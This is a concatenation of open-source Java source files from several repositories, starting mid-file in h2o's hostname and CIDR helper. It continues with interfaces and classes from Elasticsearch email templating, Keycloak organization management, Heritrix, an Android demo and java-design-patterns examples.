double octets into 16 octets int[] ipLong = new int[16]; for (int i = 0; i < ip.length; i++) { ipLong[2*i + 0] = (ip[i] >> 8) & 0xff; ipLong[2*i + 1] = ip[i] & 0xff; } return new CIDRBlock(ipLong, bits); } /** * Create object from user specified data. * * @param ip Array of octets specifying IP (4 for IPv4, 16 for IPv6) * @param bits Bits specifying active part of IP */ private CIDRBlock(int[] ip, int bits) { assert ip.length == 4 || ip.length == 16 : "Wrong number of bytes to construct IP: " + ip.length; this.ip = ip; this.bits = bits; } private boolean validOctet(int o) { return 0 <= o && o <= 255; } private boolean valid() { for (int i = 0; i < ip.length; i++) { if (!validOctet(ip[i])) return false; } return 0 <= bits && bits <= ip.length * 8; } /** * Test if an internet address lives on this user specified network. * * @param ia Address to test. * @return true if the address is on the network; false otherwise. */ public boolean isInetAddressOnNetwork(InetAddress ia) { byte[] ipBytes = ia.getAddress(); return isInetAddressOnNetwork(ipBytes); } boolean isInetAddressOnNetwork(byte[] ipBytes) { // Compare common byte prefix int i = 0; for (i = 0; i < bits/8; i++) { if (((int) ipBytes[i] & 0xff) != ip[i]) return false; } // Compare remaining bit-prefix int remaining = 0; if ((remaining = 8-(bits % 8)) < 8) { int mask = ~((1 << remaining) - 1) & 0xff; // Remaining 3bits for comparison: 1110 0000 return (((int) ipBytes[i] & 0xff) & mask) == (ip[i] & mask); } return true; } } static class HostnameGuessingException extends RuntimeException { private HostnameGuessingException(String message) { super(message); } private HostnameGuessingException(Exception e) { super(e); } } public static String localAddressToHostname(InetAddress address) { String hostname = address.getHostName(); if (! address.getHostAddress().equals(hostname)) { return hostname; } // we don't want to return IP address (because of a security policy of a particular customer, see PUBDEV-5680) hostname = System.getenv("HOSTNAME"); if (!StringUtils.isNullOrEmpty(hostname)) { Log.info("Machine hostname determined using environment variable HOSTNAME='" + hostname + "'."); return hostname; } else { Log.warn("Machine hostname cannot be determined. Using `localhost` as a fallback."); return "localhost"; } } }
h2oai/h2o-3
h2o-core/src/main/java/water/init/HostnameGuesser.java
41,097
/* * Copyright (C) 2014 Pedro Vicente Gómez Sánchez. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.github.pedrovgs.effectiveandroidui.domain; import com.github.pedrovgs.effectiveandroidui.domain.tvshow.TvShow; /** * Get a TvShow given a TvShow identifier. Return the result using a Callback. * * This interactor can execute onTvShowNotFound Callback method if there is no any tv show that * matches with the tvShowId passed as parameter. Other possible result is the execution of * OnConnectionError when there is no internet connection and the client code executes this * interactor. * * @author Pedro Vicente Gómez Sánchez */ public interface GetTvShowById { interface Callback { void onTvShowLoaded(final TvShow tvShow); void onTvShowNotFound(); void onConnectionError(); } void execute(final String tvShowId, final Callback callback); }
pedrovgs/EffectiveAndroidUI
app/src/main/java/com/github/pedrovgs/effectiveandroidui/domain/GetTvShowById.java
41,098
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.spring; import java.io.Writer; /** * Interface for objects that can provide a Writer for replacing or * appending to their textual contents. * */ public interface WriteTarget { /** * Obtain a Writer for changing this object's contents. By default, * the Writer will replace the current contents. * * Note that the mere act of obtaining the Writer may (as in the * case of a backing file) truncate away all existing contents, * even before anything is written to the writer. Not named * 'getWriter' because of this potential destructiveness. * * @return a Writer for replacing the object's textual contents */ Writer obtainWriter(); /** * Obtain a Writer for changing this object's contents. Whether * written text replaces or appends existing contents is controlled * by the 'append' parameter. * * Note that the mere act of obtaining the Writer may (as in the * case of a backing file) truncate away all existing contents, * even before anything is written to the writer. Not named * 'getWriter' because of this potential destructiveness. * * @param append if true, anything written will be appended to current contents * @return a Writer for replacing the object's textual contents */ Writer obtainWriter(boolean append); }
internetarchive/heritrix3
commons/src/main/java/org/archive/spring/WriteTarget.java
41,099
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License * 2.0; you may not use this file except in compliance with the Elastic License * 2.0. */ package org.elasticsearch.xpack.watcher.notification.email; import org.elasticsearch.ElasticsearchParseException; import org.elasticsearch.common.Strings; import org.elasticsearch.common.util.set.Sets; import org.elasticsearch.xcontent.ToXContentObject; import org.elasticsearch.xcontent.XContentBuilder; import org.elasticsearch.xcontent.XContentParser; import org.elasticsearch.xpack.watcher.common.text.TextTemplate; import org.elasticsearch.xpack.watcher.common.text.TextTemplateEngine; import java.io.IOException; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Map; import java.util.Objects; import java.util.Set; import javax.mail.internet.AddressException; public class EmailTemplate implements ToXContentObject { final TextTemplate from; final TextTemplate[] replyTo; final TextTemplate priority; final TextTemplate[] to; final TextTemplate[] cc; final TextTemplate[] bcc; final TextTemplate subject; final TextTemplate textBody; final TextTemplate htmlBody; public EmailTemplate( TextTemplate from, TextTemplate[] replyTo, TextTemplate priority, TextTemplate[] to, TextTemplate[] cc, TextTemplate[] bcc, TextTemplate subject, TextTemplate textBody, TextTemplate htmlBody ) { this.from = from; this.replyTo = replyTo; this.priority = priority; this.to = to; this.cc = cc; this.bcc = bcc; this.subject = subject; this.textBody = textBody; this.htmlBody = htmlBody; } public TextTemplate from() { return from; } public TextTemplate[] replyTo() { return replyTo; } public TextTemplate priority() { return priority; } public TextTemplate[] to() { return to; } public TextTemplate[] cc() { return cc; } public TextTemplate[] bcc() { return bcc; } public TextTemplate subject() { return subject; } public TextTemplate textBody() { return textBody; } public TextTemplate htmlBody() { return htmlBody; } public Email.Builder render( TextTemplateEngine engine, Map<String, Object> model, HtmlSanitizer htmlSanitizer, Map<String, Attachment> attachments ) throws AddressException { Email.Builder builder = Email.builder(); if (from != null) { builder.from(engine.render(from, model)); } if (replyTo != null) { Email.AddressList addresses = templatesToAddressList(engine, replyTo, model); builder.replyTo(addresses); } if (priority != null) { builder.priority(Email.Priority.resolve(engine.render(priority, model))); } if (to != null) { Email.AddressList addresses = templatesToAddressList(engine, to, model); builder.to(addresses); } if (cc != null) { Email.AddressList addresses = templatesToAddressList(engine, cc, model); builder.cc(addresses); } if (bcc != null) { Email.AddressList addresses = templatesToAddressList(engine, bcc, model); builder.bcc(addresses); } if (subject != null) { builder.subject(engine.render(subject, model)); } Set<String> warnings = Sets.newHashSetWithExpectedSize(1); if (attachments != null) { for (Attachment attachment : attachments.values()) { builder.attach(attachment); warnings.addAll(attachment.getWarnings()); } } String htmlWarnings = ""; String textWarnings = ""; if (warnings.isEmpty() == false) { StringBuilder textWarningBuilder = new StringBuilder(); StringBuilder htmlWarningBuilder = new StringBuilder(); warnings.forEach(w -> { if (Strings.isNullOrEmpty(w) == false) { textWarningBuilder.append(w).append("\n"); htmlWarningBuilder.append(w).append("<br>"); } }); textWarningBuilder.append("\n"); htmlWarningBuilder.append("<br>"); htmlWarnings = htmlWarningBuilder.toString(); textWarnings = textWarningBuilder.toString(); } if (textBody != null) { builder.textBody(textWarnings + engine.render(textBody, model)); } if (htmlBody != null) { String renderedHtml = htmlWarnings + engine.render(htmlBody, model); renderedHtml = htmlSanitizer.sanitize(renderedHtml); builder.htmlBody(renderedHtml); } if (htmlBody == null && textBody == null && Strings.isNullOrEmpty(textWarnings) == false) { builder.textBody(textWarnings); } return builder; } private static Email.AddressList templatesToAddressList(TextTemplateEngine engine, TextTemplate[] templates, Map<String, Object> model) throws AddressException { List<Email.Address> addresses = new ArrayList<>(templates.length); for (TextTemplate template : templates) { Email.AddressList.parse(engine.render(template, model)).forEach(addresses::add); } return new Email.AddressList(addresses); } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; EmailTemplate that = (EmailTemplate) o; return Objects.equals(from, that.from) && Arrays.equals(replyTo, that.replyTo) && Objects.equals(priority, that.priority) && Arrays.equals(to, that.to) && Arrays.equals(cc, that.cc) && Arrays.equals(bcc, that.bcc) && Objects.equals(subject, that.subject) && Objects.equals(textBody, that.textBody) && Objects.equals(htmlBody, that.htmlBody); } @Override public int hashCode() { return Objects.hash( from, Arrays.hashCode(replyTo), priority, Arrays.hashCode(to), Arrays.hashCode(cc), Arrays.hashCode(bcc), subject, textBody, htmlBody ); } @Override public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { builder.startObject(); xContentBody(builder, params); return builder.endObject(); } public XContentBuilder xContentBody(XContentBuilder builder, Params params) throws IOException { if (from != null) { builder.field(Email.Field.FROM.getPreferredName(), from, params); } if (replyTo != null) { builder.startArray(Email.Field.REPLY_TO.getPreferredName()); for (TextTemplate template : replyTo) { template.toXContent(builder, params); } builder.endArray(); } if (priority != null) { builder.field(Email.Field.PRIORITY.getPreferredName(), priority, params); } if (to != null) { builder.startArray(Email.Field.TO.getPreferredName()); for (TextTemplate template : to) { template.toXContent(builder, params); } builder.endArray(); } if (cc != null) { builder.startArray(Email.Field.CC.getPreferredName()); for (TextTemplate template : cc) { template.toXContent(builder, params); } builder.endArray(); } if (bcc != null) { builder.startArray(Email.Field.BCC.getPreferredName()); for (TextTemplate template : bcc) { template.toXContent(builder, params); } builder.endArray(); } if (subject != null) { builder.field(Email.Field.SUBJECT.getPreferredName(), subject, params); } if (textBody != null || htmlBody != null) { builder.startObject(Email.Field.BODY.getPreferredName()); if (textBody != null) { builder.field(Email.Field.BODY_TEXT.getPreferredName(), textBody, params); } if (htmlBody != null) { builder.field(Email.Field.BODY_HTML.getPreferredName(), htmlBody, params); } builder.endObject(); } return builder; } public static Builder builder() { return new Builder(); } public static class Builder { private TextTemplate from; private TextTemplate[] replyTo; private TextTemplate priority; private TextTemplate[] to; private TextTemplate[] cc; private TextTemplate[] bcc; private TextTemplate subject; private TextTemplate textBody; private TextTemplate htmlBody; private Builder() {} public Builder from(String from) { return from(new TextTemplate(from)); } public Builder from(TextTemplate from) { this.from = from; return this; } public Builder replyTo(String... replyTo) { TextTemplate[] templates = new TextTemplate[replyTo.length]; for (int i = 0; i < templates.length; i++) { templates[i] = new TextTemplate(replyTo[i]); } return replyTo(templates); } public Builder replyTo(TextTemplate... replyTo) { this.replyTo = replyTo; return this; } public Builder priority(Email.Priority priority) { return priority(new TextTemplate(priority.name())); } public Builder priority(TextTemplate priority) { this.priority = priority; return this; } public Builder to(String... to) { TextTemplate[] templates = new TextTemplate[to.length]; for (int i = 0; i < templates.length; i++) { templates[i] = new TextTemplate(to[i]); } return to(templates); } public Builder to(TextTemplate... to) { this.to = to; return this; } public Builder cc(String... cc) { TextTemplate[] templates = new TextTemplate[cc.length]; for (int i = 0; i < templates.length; i++) { templates[i] = new TextTemplate(cc[i]); } return cc(templates); } public Builder cc(TextTemplate... cc) { this.cc = cc; return this; } public Builder bcc(String... bcc) { TextTemplate[] templates = new TextTemplate[bcc.length]; for (int i = 0; i < templates.length; i++) { templates[i] = new TextTemplate(bcc[i]); } return bcc(templates); } public Builder bcc(TextTemplate... bcc) { this.bcc = bcc; return this; } public Builder subject(String subject) { return subject(new TextTemplate(subject)); } public Builder subject(TextTemplate subject) { this.subject = subject; return this; } public Builder textBody(String text) { return textBody(new TextTemplate(text)); } public Builder textBody(TextTemplate text) { this.textBody = text; return this; } public Builder htmlBody(String html) { return htmlBody(new TextTemplate(html)); } public Builder htmlBody(TextTemplate html) { this.htmlBody = html; return this; } public EmailTemplate build() { return new EmailTemplate(from, replyTo, priority, to, cc, bcc, subject, textBody, htmlBody); } } public static class Parser { private final EmailTemplate.Builder builder = builder(); public boolean handle(String fieldName, XContentParser parser) throws IOException { if (Email.Field.FROM.match(fieldName, parser.getDeprecationHandler())) { builder.from(TextTemplate.parse(parser)); validateEmailAddresses(builder.from); } else if (Email.Field.REPLY_TO.match(fieldName, parser.getDeprecationHandler())) { if (parser.currentToken() == XContentParser.Token.START_ARRAY) { List<TextTemplate> templates = new ArrayList<>(); while (parser.nextToken() != XContentParser.Token.END_ARRAY) { templates.add(TextTemplate.parse(parser)); } builder.replyTo(templates.toArray(new TextTemplate[templates.size()])); } else { builder.replyTo(TextTemplate.parse(parser)); } validateEmailAddresses(builder.replyTo); } else if (Email.Field.TO.match(fieldName, parser.getDeprecationHandler())) { if (parser.currentToken() == XContentParser.Token.START_ARRAY) { List<TextTemplate> templates = new ArrayList<>(); while (parser.nextToken() != XContentParser.Token.END_ARRAY) { templates.add(TextTemplate.parse(parser)); } builder.to(templates.toArray(new TextTemplate[templates.size()])); } else { builder.to(TextTemplate.parse(parser)); } validateEmailAddresses(builder.to); } else if (Email.Field.CC.match(fieldName, parser.getDeprecationHandler())) { if (parser.currentToken() == XContentParser.Token.START_ARRAY) { List<TextTemplate> templates = new ArrayList<>(); while (parser.nextToken() != XContentParser.Token.END_ARRAY) { templates.add(TextTemplate.parse(parser)); } builder.cc(templates.toArray(new TextTemplate[templates.size()])); } else { builder.cc(TextTemplate.parse(parser)); } validateEmailAddresses(builder.cc); } else if (Email.Field.BCC.match(fieldName, parser.getDeprecationHandler())) { if (parser.currentToken() == XContentParser.Token.START_ARRAY) { List<TextTemplate> templates = new ArrayList<>(); while (parser.nextToken() != XContentParser.Token.END_ARRAY) { templates.add(TextTemplate.parse(parser)); } builder.bcc(templates.toArray(new TextTemplate[templates.size()])); } else { builder.bcc(TextTemplate.parse(parser)); } validateEmailAddresses(builder.bcc); } else if (Email.Field.PRIORITY.match(fieldName, parser.getDeprecationHandler())) { builder.priority(TextTemplate.parse(parser)); } else if (Email.Field.SUBJECT.match(fieldName, parser.getDeprecationHandler())) { builder.subject(TextTemplate.parse(parser)); } else if (Email.Field.BODY.match(fieldName, parser.getDeprecationHandler())) { if (parser.currentToken() == XContentParser.Token.VALUE_STRING) { builder.textBody(TextTemplate.parse(parser)); } else if (parser.currentToken() == XContentParser.Token.START_OBJECT) { XContentParser.Token token; String currentFieldName = null; while ((token = parser.nextToken()) != XContentParser.Token.END_OBJECT) { if (token == XContentParser.Token.FIELD_NAME) { currentFieldName = parser.currentName(); } else if (currentFieldName == null) { throw new ElasticsearchParseException("could not parse email template. empty [{}] field", fieldName); } else if (Email.Field.BODY_TEXT.match(currentFieldName, parser.getDeprecationHandler())) { builder.textBody(TextTemplate.parse(parser)); } else if (Email.Field.BODY_HTML.match(currentFieldName, parser.getDeprecationHandler())) { builder.htmlBody(TextTemplate.parse(parser)); } else { throw new ElasticsearchParseException( "could not parse email template. unknown field [{}.{}] field", fieldName, currentFieldName ); } } } } else { return false; } return true; } /** * If this is a text template not using mustache * @param emails The list of email addresses to parse */ static void validateEmailAddresses(TextTemplate... emails) { for (TextTemplate emailTemplate : emails) { // no mustache, do validation if (emailTemplate.mayRequireCompilation() == false) { String email = emailTemplate.getTemplate(); try { for (Email.Address address : Email.AddressList.parse(email)) { address.validate(); } } catch (AddressException e) { throw new ElasticsearchParseException("invalid email address [{}]", e, email); } } } } public EmailTemplate parsedTemplate() { return builder.build(); } } }
elastic/elasticsearch
x-pack/plugin/watcher/src/main/java/org/elasticsearch/xpack/watcher/notification/email/EmailTemplate.java
41,100
/* * Copyright 2024 Red Hat, Inc. and/or its affiliates * and other contributors as indicated by the @author tags. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.keycloak.organization; import java.util.List; import java.util.Map; import java.util.Set; import java.util.stream.Stream; import org.keycloak.models.IdentityProviderModel; import org.keycloak.models.ModelDuplicateException; import org.keycloak.models.ModelException; import org.keycloak.models.OrganizationModel; import org.keycloak.models.UserModel; import org.keycloak.provider.Provider; /** * A {@link Provider} that manages organization and its data within the scope of a realm. */ public interface OrganizationProvider extends Provider { /** * Creates a new organization with given {@code name} to the realm. * The internal ID of the organization will be created automatically. * @param name String name of the organization. * @param domains the domains * @throws ModelDuplicateException If there is already an organization with the given name * @return Model of the created organization. */ OrganizationModel create(String name, Set<String> domains); /** * Returns a {@link OrganizationModel} by its {@code id}; * * @param id the id of an organization * @return the organization with the given {@code id} or {@code null} if there is no such an organization. */ OrganizationModel getById(String id); /** * Returns a {@link OrganizationModel} by its internet domain. * * @param domainName the organization's internet domain (e.g. redhat.com) * @return the organization that is linked to the given internet domain */ OrganizationModel getByDomainName(String domainName); /** * Returns all organizations in the realm. * * @return a {@link Stream} of the realm's organizations. */ default Stream<OrganizationModel> getAllStream() { return getAllStream("", null, null, null); } /** * Returns all organizations in the realm filtered according to the specified parameters. * * @param search a {@code String} representing either an organization name or domain. * @param exact if {@code true}, the organizations will be searched using exact match for the {@code search} param - i.e. * either the organization name or one of its domains must match exactly the {@code search} param. If false, * the method returns all organizations whose name or (domains) partially match the {@code search} param. * @param first the position of the first result to be processed (pagination offset). Ignored if negative or {@code null}. * @param max the maximum number of results to be returned. Ignored if negative or {@code null}. * @return a {@link Stream} of the matched organizations. Never returns {@code null}. */ Stream<OrganizationModel> getAllStream(String search, Boolean exact, Integer first, Integer max); /** * Returns all organizations in the realm filtered according to the specified parameters. * * @param attributes a {@code Map} containig the attributes (name/value) that must match organization attributes. * @param first the position of the first result to be processed (pagination offset). Ignored if negative or {@code null}. * @param max the maximum number of results to be returned. Ignored if negative or {@code null}. * @return a {@link Stream} of the matched organizations. Never returns {@code null}. */ Stream<OrganizationModel> getAllStream(Map<String, String> attributes, Integer first, Integer max); /** * Removes the given organization from the realm together with the data associated with it, e.g. its members etc. * * @param organization Organization to be removed. * @throws ModelException if the organization doesn't exist or doesn't belong to the realm. * @return {@code true} if the organization was removed, {@code false} otherwise */ boolean remove(OrganizationModel organization); /** * Removes all organizations from the realm. */ void removeAll(); /** * Adds the given {@link UserModel} as a member of the given {@link OrganizationModel}. * * @param organization the organization * @param user the user * @throws ModelException if the {@link UserModel} is member of different organization * @return {@code true} if the user was added as a member. Otherwise, returns {@code false} */ boolean addMember(OrganizationModel organization, UserModel user); /** * Returns the members of a given {@link OrganizationModel} filtered according to the specified parameters. * * @param organization the organization * @return Stream of the members. Never returns {@code null}. */ Stream<UserModel> getMembersStream(OrganizationModel organization, String search, Boolean exact, Integer first, Integer max); /** * Returns the member of the {@link OrganizationModel} by its {@code id}. * * @param organization the organization * @param id the member id * @return the member of the {@link OrganizationModel} with the given {@code id} */ UserModel getMemberById(OrganizationModel organization, String id); /** * Returns the {@link OrganizationModel} that the {@code member} belongs to. * * @param member the member of a organization * @return the organization the {@code member} belongs to or {@code null} if the user doesn't belong to any. */ OrganizationModel getByMember(UserModel member); /** * Associate the given {@link IdentityProviderModel} with the given {@link OrganizationModel}. * * @param organization the organization * @param identityProvider the identityProvider * @return {@code true} if the identityProvider was associated with the organization. Otherwise, returns {@code false} */ boolean addIdentityProvider(OrganizationModel organization, IdentityProviderModel identityProvider); /** * @param organization the organization * @return The identityProvider associated with a given {@code organization} or {@code null} if there is none. */ Stream<IdentityProviderModel> getIdentityProviders(OrganizationModel organization); /** * Removes the link between the given {@link OrganizationModel} and identity provider associated with it if such a link exists. * * @param organization the organization * @param identityProvider the identity provider * @return {@code true} if the link was removed, {@code false} otherwise */ boolean removeIdentityProvider(OrganizationModel organization, IdentityProviderModel identityProvider); /** * Indicates if the current realm supports organization. * * @return {@code true} if organization is supported. Otherwise, returns {@code false} */ boolean isEnabled(); /** * <p>Indicates if the given {@code member} is managed by the organization. * * <p>A member is managed by the organization whenever the member cannot exist without the organization they belong * to so that their lifecycle is bound to the organization lifecycle. For instance, when a member is federated from * the identity provider associated with an organization, there is a strong relationship between the member identity * and the organization. * * <p>On the other hand, existing realm users whose identities are not intrinsically linked to an organization but * are eventually joining an organization are not managed by the organization. They have a lifecycle that does not * depend on the organization they are linked to. * * @param organization the organization * @param member the member * @return {@code true} if the {@code member} is managed by the given {@code organization}. Otherwise, returns {@code false} */ boolean isManagedMember(OrganizationModel organization, UserModel member); /** * <p>Removes a member from the organization. * * <p>This method can either remove the given {@code member} entirely from the realm (and the organization) or only * remove the link to the {@code organization} so that the user still exists but is no longer a member of the organization. * The decision to remove the user entirely or only the link depends on whether the user is managed by the organization or not, respectively. * * @param organization the organization * @param member the member * @return {@code true} if the given {@code member} is a member and was successfully removed from the organization. Otherwise, returns {@code false} */ boolean removeMember(OrganizationModel organization, UserModel member); }
keycloak/keycloak
server-spi-private/src/main/java/org/keycloak/organization/OrganizationProvider.java
41,295
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.flux.view; import com.iluwatar.flux.action.Content; import com.iluwatar.flux.store.ContentStore; import com.iluwatar.flux.store.Store; import lombok.extern.slf4j.Slf4j; /** * ContentView is a concrete view. */ @Slf4j public class ContentView implements View { private Content content = Content.PRODUCTS; @Override public void storeChanged(Store store) { var contentStore = (ContentStore) store; content = contentStore.getContent(); render(); } @Override public void render() { LOGGER.info(content.toString()); } }
smedals/java-design-patterns
flux/src/main/java/com/iluwatar/flux/view/ContentView.java
41,298
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package service; import dao.CakeDao; import dao.CakeLayerDao; import dao.CakeToppingDao; import dto.CakeInfo; import dto.CakeLayerInfo; import dto.CakeToppingInfo; import entity.Cake; import entity.CakeLayer; import entity.CakeTopping; import exception.CakeBakingException; import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Set; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; /** * Implementation of CakeBakingService. */ @Service @Transactional public class CakeBakingServiceImpl implements CakeBakingService { private final CakeDao cakeDao; private final CakeLayerDao cakeLayerDao; private final CakeToppingDao cakeToppingDao; /** * Constructs a new instance of CakeBakingServiceImpl. * * @param cakeDao the DAO for cake-related operations * @param cakeLayerDao the DAO for cake layer-related operations * @param cakeToppingDao the DAO for cake topping-related operations */ @Autowired public CakeBakingServiceImpl(CakeDao cakeDao, CakeLayerDao cakeLayerDao, CakeToppingDao cakeToppingDao) { this.cakeDao = cakeDao; this.cakeLayerDao = cakeLayerDao; this.cakeToppingDao = cakeToppingDao; } @Override public void bakeNewCake(CakeInfo cakeInfo) throws CakeBakingException { var allToppings = getAvailableToppingEntities(); var matchingToppings = allToppings.stream().filter(t -> t.getName().equals(cakeInfo.cakeToppingInfo.name)) .toList(); if (matchingToppings.isEmpty()) { throw new CakeBakingException( String.format("Topping %s is not available", cakeInfo.cakeToppingInfo.name)); } var allLayers = getAvailableLayerEntities(); Set<CakeLayer> foundLayers = new HashSet<>(); for (var info : cakeInfo.cakeLayerInfos) { var found = allLayers.stream().filter(layer -> layer.getName().equals(info.name)).findFirst(); if (found.isEmpty()) { throw new CakeBakingException(String.format("Layer %s is not available", info.name)); } else { foundLayers.add(found.get()); } } var topping = cakeToppingDao.findById(matchingToppings.iterator().next().getId()); if (topping.isPresent()) { var cake = new Cake(); cake.setTopping(topping.get()); cake.setLayers(foundLayers); cakeDao.save(cake); topping.get().setCake(cake); cakeToppingDao.save(topping.get()); Set<CakeLayer> foundLayersToUpdate = new HashSet<>(foundLayers); // copy set to avoid a ConcurrentModificationException for (var layer : foundLayersToUpdate) { layer.setCake(cake); cakeLayerDao.save(layer); } } else { throw new CakeBakingException( String.format("Topping %s is not available", cakeInfo.cakeToppingInfo.name)); } } @Override public void saveNewTopping(CakeToppingInfo toppingInfo) { cakeToppingDao.save(new CakeTopping(toppingInfo.name, toppingInfo.calories)); } @Override public void saveNewLayer(CakeLayerInfo layerInfo) { cakeLayerDao.save(new CakeLayer(layerInfo.name, layerInfo.calories)); } private List<CakeTopping> getAvailableToppingEntities() { List<CakeTopping> result = new ArrayList<>(); for (CakeTopping topping : cakeToppingDao.findAll()) { if (topping.getCake() == null) { result.add(topping); } } return result; } @Override public List<CakeToppingInfo> getAvailableToppings() { List<CakeToppingInfo> result = new ArrayList<>(); for (CakeTopping next : cakeToppingDao.findAll()) { if (next.getCake() == null) { result.add(new CakeToppingInfo(next.getId(), next.getName(), next.getCalories())); } } return result; } private List<CakeLayer> getAvailableLayerEntities() { List<CakeLayer> result = new ArrayList<>(); for (CakeLayer next : cakeLayerDao.findAll()) { if (next.getCake() == null) { result.add(next); } } return result; } @Override public List<CakeLayerInfo> getAvailableLayers() { List<CakeLayerInfo> result = new ArrayList<>(); for (CakeLayer next : cakeLayerDao.findAll()) { if (next.getCake() == null) { result.add(new CakeLayerInfo(next.getId(), next.getName(), next.getCalories())); } } return result; } @Override public void deleteAllCakes() { cakeDao.deleteAll(); } @Override public void deleteAllLayers() { cakeLayerDao.deleteAll(); } @Override public void deleteAllToppings() { cakeToppingDao.deleteAll(); } @Override public List<CakeInfo> getAllCakes() { List<CakeInfo> result = new ArrayList<>(); for (Cake cake : cakeDao.findAll()) { var cakeToppingInfo = new CakeToppingInfo(cake.getTopping().getId(), cake.getTopping().getName(), cake.getTopping().getCalories()); List<CakeLayerInfo> cakeLayerInfos = new ArrayList<>(); for (var layer : cake.getLayers()) { cakeLayerInfos.add(new CakeLayerInfo(layer.getId(), layer.getName(), layer.getCalories())); } var cakeInfo = new CakeInfo(cake.getId(), cakeToppingInfo, cakeLayerInfos); result.add(cakeInfo); } return result; } }
rajprins/java-design-patterns
layers/src/main/java/service/CakeBakingServiceImpl.java
41,302
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.visitor; import java.util.Arrays; /** * Interface for the nodes in hierarchy. */ public abstract class Unit { private final Unit[] children; public Unit(Unit... children) { this.children = children; } /** * Accept visitor. */ public void accept(UnitVisitor visitor) { Arrays.stream(children).forEach(child -> child.accept(visitor)); } }
smedals/java-design-patterns
visitor/src/main/java/com/iluwatar/visitor/Unit.java
41,303
